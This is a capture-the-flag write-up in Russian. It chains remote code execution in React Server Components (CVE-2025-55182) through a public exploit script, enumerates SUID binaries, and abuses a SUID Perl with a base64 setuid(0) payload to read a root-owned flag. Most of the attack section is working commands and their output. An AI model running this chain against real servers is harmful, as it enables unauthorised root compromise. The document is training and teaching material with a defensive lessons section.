
[First-Blood-XO] React Server Component endpoint vulnerable to CVE-2025-55182 (RCE) → enumerated SUID binaries → /usr/bin/perl had SUID set → used Perl's POSIX setuid(0) to escalate to root → read /root/flag.txt
Категория: Web Exploitation | Сложность: Средняя | Уязвимость: Удалённое выполнение кода → Повышение привилегий через SUID
Эндпоинт React Server Components, уязвимый для CVE-2025-55182 (RCE) → перебор SUID-бинарников → /usr/bin/perl имел установленный SUID → использование POSIX setuid(0) в Perl для повышения до root → чтение /root/flag.txt.
Флаг: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
Цель: http://challenge.cybermesh.site:30035/
Целью было React-веб-приложение, использующее React Server Components (RSC) — относительно новую архитектуру, которая выполняет компоненты на стороне сервера и передаёт сериализованный вывод обратно клиенту через собственный проводной формат.
Эта архитектура создаёт границу выполнения на стороне сервера. Некорректная обработка входных данных на этой границе — именно то, что использует CVE-2025-55182.
RCE в React Server Components — Сервер не фильтрует управляемые пользователем данные перед тем, как они попадают в слой выполнения серверных компонентов. Это позволяет атакующему внедрять shell-команды ОС, которые выполняются в контексте процесса Node.js.
Цепочка атаки:
Существует публичный PoC для этой CVE:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Первичная проверка — подтверждение RCE и контекста выполнения:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
Вывод:
[+] EXPLOITATION SUCCESSFUL
► app
Сервер работает от пользователя app. Не root — требуется повышение.
Сканирование SUID-бинарников:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
Вывод:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
У /usr/bin/perl установлен SUID-бит. Это хорошо известный GTFOBin — когда Perl принадлежит root и имеет SUID, он выполняется с привилегиями root независимо от того, кто его вызывает.
Создана полезная нагрузка Perl, закодированная в base64, которая:
POSIX::setuid(0) для повышения до root/root/flag.txtОтправлена через эндпоинт RCE:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
Расшифрованная полезная нагрузка примерно такая:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
Вывод:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. Поверхность атаки RSC недооценена. React Server Components — новая парадигма. Многие развёртывания не защищены от инъекций входных данных на границе серверных компонентов. Эта CVE напоминает, что «серверный рендеринг» сам по себе небезопасен — граница выполнения всё равно требует правильной фильтрации.
2. SUID на интерпретируемых средах выполнения = мгновенный root.
/usr/bin/perl с SUID — классическая ошибка конфигурации. GTFOBins подробно это описывает. Никогда не устанавливайте SUID-бит на скриптовые языки (Perl, Python, Ruby и т.д.) — в отличие от скомпилированных бинарников, предназначенных для SUID (su, passwd), эти среды предоставляют тривиальные пути повышения привилегий.
3. Флаг самосознательный.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — задание было явно спроектировано с использованием SUID Perl как предполагаемого пути повышения. Чистая цепочка.
CVE-2025-55182 (RSC RCE)
└─> whoami → пользователь "app"
└─> поиск SUID-бинарников
└─> /usr/bin/perl (SUID root) обнаружен
└─> base64 полезная нагрузка Perl → запись в /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> ФЛАГ ✓
Написал Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+